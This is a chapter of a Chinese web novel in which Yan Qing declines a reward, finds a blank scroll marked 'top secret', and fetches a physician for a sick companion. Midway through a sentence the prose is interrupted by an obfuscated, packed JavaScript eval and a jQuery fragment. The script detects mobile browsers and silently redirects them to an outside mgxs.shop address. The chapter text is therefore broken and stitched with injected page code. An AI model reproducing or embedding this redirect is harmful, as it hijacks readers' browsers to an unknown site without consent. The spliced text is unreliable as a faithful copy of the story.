出了县衙,立在黑漆漆的房檐下,颜卿心里感慨万千,吴老二的事总算是告一段落了,只是红红的死让她始料未及,也不知道有没有人为她料理后事。
颜卿不由得叹了口气,抬头看看天,明月已开始向西沉落,来县衙这一趟幸好没有耽搁太久,要是误了请右神医的时间,可就遭了。
“姑娘,姑娘留步。”颜卿正要抬脚往客栈的方向走,身后忽然传来清亮的声音。
她一转身看见赵锦安大步朝这边走了过来。
“我和县令大人说了,协助破案的人是你,县令大人要登记你的名字好发赏银。”
言外之意是要问颜卿的名字。
颜卿一听有赏银拿,登时有些心动,她之前借大力的五两银子还没还,欠李裴玉五百两更是不知何时能还清。
眼下这笔赏银她确实十分需要,然而再仔细一想,她隐藏通缉犯的身份冒充李裴玉的妹妹,本来就给李裴玉增加不少风险,况且等李裴玉到广陵上任后,她便要告辞了。
若是现在把她的名字告诉别人,过几天又突然从李裴玉府上消失,恐怕会节外生枝,引人猜疑。
这笔赏银她不能要。
颜卿思索片刻后道:“这赏银我不能要。”
“为什么?”
“刚才在公堂上公子出手相救,我才捡回条小命来,我无以答谢,这赏银还是赵公子领了吧,就当做是我的谢礼。”
赵锦安不依不饶:“不行,是你救我在先,不然我已经被那两个恶人害死了,刚才哪里还能出来救你,这赏银自然要给你。”
颜卿看着赵锦安严肃的表情暗暗苦笑,他怎么这么固执呢,她救了他,他又救了他,不是扯平了么。
赵锦安又道:“而且你还帮县令一举破获了好几起案子,他老人家说,不论如何要我问清楚你的名字。”说罢他垂下眼眸,耳朵竟然也红了。
他这是害羞了?到底是县令想知道颜卿的名字,还是他自己想知道呢。
颜卿眼睛一转,道:“李裴玉,功劳记在广陵李府上就行了,你告诉县令大人,他一听便知晓。”
把功劳记在李裴玉名下,也算是她走之前报一点他的救命之恩了。
赵锦安笑道:“原来你叫李裴玉呀,好,等我办完事,一定登门拜谢。”
颜卿满脸黑线,看来不说名字是真的不行,李裴玉好歹是广陵县丞,总不能让别人以为他是个女的,颜卿道:“李裴玉是我哥哥,我叫李明月。”
哎,非要登门拜谢的话随便他好了,到时候她人可能早已在北凉了。
..........
广陵城醉仙楼二楼最东的厢房内。
窗外的明月已不知去向,兴许也觉得一直在天上挂着太累,所以躲到某片云后面偷偷睡懒觉去了。
颜卿就像是那一直绷紧弦的月亮,大大的伸了个懒腰,她不仅觉得身累心也很累。
想不到这个赵锦安初次接触感觉性格孤傲,熟络了之后竟然是个话痨。
刚才回客栈的路上,他兴致勃勃地说了一路,从他的家乡到他的妹妹,恨不得把他的一切都一股脑的告诉颜卿。
而他之前说的办事,就是来广陵寻找他离家出走的妹妹,他已在醉仙楼住了多日,明日一早便又要动身去找妹妹,所以今晚两人便已互相道别。
颜卿在床边坐下,正犹豫要不要小睡一会,看天色应该已经快要天亮了,要是不小心睡过头了,右神医被其他人请走了,这附近可就没有其他的郎中可请了。
请不到郎中,就没办法给大力看病,大力的性命堪忧。
可是人的生理反应总是很难克服的,困了的时候自然就会想睡觉,颜卿的眼睛此时酸胀的紧,思维也越来越迟钝,只要躺下,她觉得自己立刻就能睡着。
她真的是太困了,困得感觉自己突然产生了幻觉,正要伸手去掀被子,忽然看到被子底下好像压着一个灰白色的东西。
是什么东西呢?明明之前躺在床上的时候被子里还什么东西都没有。
颜卿用力地晃了晃脑袋,试图让自己保持清醒,伸出右手一探,不是幻觉,被子里还真的有个东西。
她伸手将那灰白色的东西从被子里拿了出来,定睛一看,原来是个巴掌大小的卷轴,卷轴的纸张触感极好,应该是用稀有的白麻纸制成的,感觉很贵重的样子。
她打开卷轴,只见卷首赫然写着“绝密”二字。
有时候,越是神秘的东西就越是能引起人们的好奇心,颜卿也是如此,她又将卷轴打开更多。
可是等她将卷轴完全展开后,又感到大失所望,因为里面空空如也,无论是横着看还是竖着看,正着看反着看,上面除了“绝密”二字便再也没有其他字了。
颜卿心里暗暗惊奇,这个小卷轴是谁放在这里的?为何里面没有字呢?没有字又为何要在卷首写上“绝密”二字吊人胃口?
难道是她和赵锦安去县衙时,有人偷偷溜进她的房间放进来的么?
不对,这不可能,吴老二受审结束之前,醉仙楼都有官差把守,她这间厢房又是重要的案发地,不可能有闲杂人溜进来。
颜卿眼睛忽然一亮,对了!今晚躺在这张床的除了她,就只有红红!难道这小卷轴是红红不小心掉在这的。
哎呦,红红已经在公堂上被吴老二害死了,就算颜卿想要物归原主,也已经迟了,想到这,颜卿不禁叹了口气,把那卷轴装进了自己的袖兜里。
只能先把它带在身上,万一以后有幸遇到红红的家人,也可以作为遗物交给她的家人,让他们留个念想。
春风拂面,好似一双温柔的手,拂在颜卿脸上,让她困意更浓,油灯的烛心也越来越短,厢房内的光线渐渐变暗,颜卿倚在床边,竟然不知不觉睡着了。
再次睁开眼时,天已大亮。
阳光好似金色碎片洒在颜卿白糯的侧脸上。
“客官午饭打算吃点什么?”
颜卿隐约听到门外有小二和其他客人谈话的声音,这才惊觉大事不妙。
午饭?难道她已经睡到中午了么?糟糕!糟糕!太糟糕了!
昨晚明明说好不能睡的,自己怎么竟然还是睡着了。
颜卿立刻收拾好东西,简单洗漱了一番后匆匆离开了醉仙楼。
广陵城街道两侧的商铺皆已开张,街市上熙熙攘攘,热闹非常,颜卿向客栈对面一家点心铺的老婆婆打听后才知道,此时还未到正午,只是辰时三刻而已,这才稍稍心安。
一路上她一直在心里祈祷,但愿右神医不要被其他人捷足先登
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534066|203765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给请走了,广陵可是大城,每天生病的人定然很多。
来到右神医家门前,她轻轻扣了扣房门,门很快便打开了,开门的还是昨天晚上那个中年女人。
颜卿道:“请问右神医可在家么?”
中年女人上下打量了颜卿一番道:“在。”
颜卿松了口气道:“我家中兄弟生病,烦请右神医跟我去一趟。”
中年女人好似活见鬼了一般后退了一步道:“你...你家兄弟得的什么病?我告诉右神医,让他准备些药材一块带去。”
说罢她碎碎念道:“奇了怪了,昨天晚上来请右神医给他兄弟看病的好像是个公子,今天怎么突然变成一个姑娘了?这两人的神态气质怎么这么像,难道是我昨天眼花看错了?”
颜卿心虚的摸了摸额前的碎发,这中年女人绝对想不到昨晚发生了多少事,也绝对想不到她就是昨晚那位“小公子”。
那件男装颜卿本来想和红红换回来的,但是红红死了,她总不能抢死人的衣服,所以只好以女装行动。
颜卿道:“我那小兄弟昨天上午淋了一场暴雨,中午便突然发起高热,而且躺在床上神志不清。”
中年女人一听,狐疑道:“淋了场雨便发起高热来了?”
“是呀。”
“我看这可不像是普通的发热。”
“啊?”颜卿吃惊的睁大眼睛,但除了发热她想不出其他病症。
中年女人道:“算了,反正右神医是要去一趟的,我把这些告诉他便是了,你先在这等一会。”
说罢,那中年女人转身回屋里去了。
一炷香后,右神医背着药箱从屋里面跨了出来。
他看起来年纪四十余岁,头发乌黑发亮,也许实际年龄还要更年轻一些,和颜卿心里想象的神医形象相去甚远。
她还以为称得上神医的人一定已是耄耄之年的老者了,谁知人家是位年轻的中年人。
两人并肩行至广陵城门口,颜卿正准备搭辆马车或者驴车。
忽然一个小丫头不知从哪钻了出来,挡住了颜卿的去路。
“这位叔叔好眼熟呦!”小丫头看向右神医道。
颜卿打量了小丫头一番,此人年纪十四五岁,衣着绵软粉色锦裙,头戴翠色珠钗,肩上背着个锦布做的包袱,一看便不是普通人家的孩子。
颜卿看向右神医道:“你们认识?”
右神医摇了摇头,那小姑娘俏皮一笑:“你不认识我,可我认识你,你是左神医的兄弟右神医吧?”
右神医点了点头。
小丫头忽然脸色一变,掩面哭起来,但哭声却并不太伤心。
颜卿疑道:“你哭什么?”
小丫头道:“姐姐,我一看就知道你是个好人,我和娘亲来广陵投奔亲戚,刚才我娘不小心扭了脚,人生地不熟的,我真不知道该怎么办,能不能让这位神医先给我娘看一看脚?”
颜卿一听心里为难起来,眼看就要到中午了,大力还在碧水轩等着右神医赶去救治呢,这要是再耽误点时间,不知道大力的身体能不能扛得住啊。
可是眼下突然出现了这么一个可爱甜美的小丫头向她求助,她怎么忍心见死不救,要是就这么走了,她这么小的年纪若是寻不到医生可怎么办。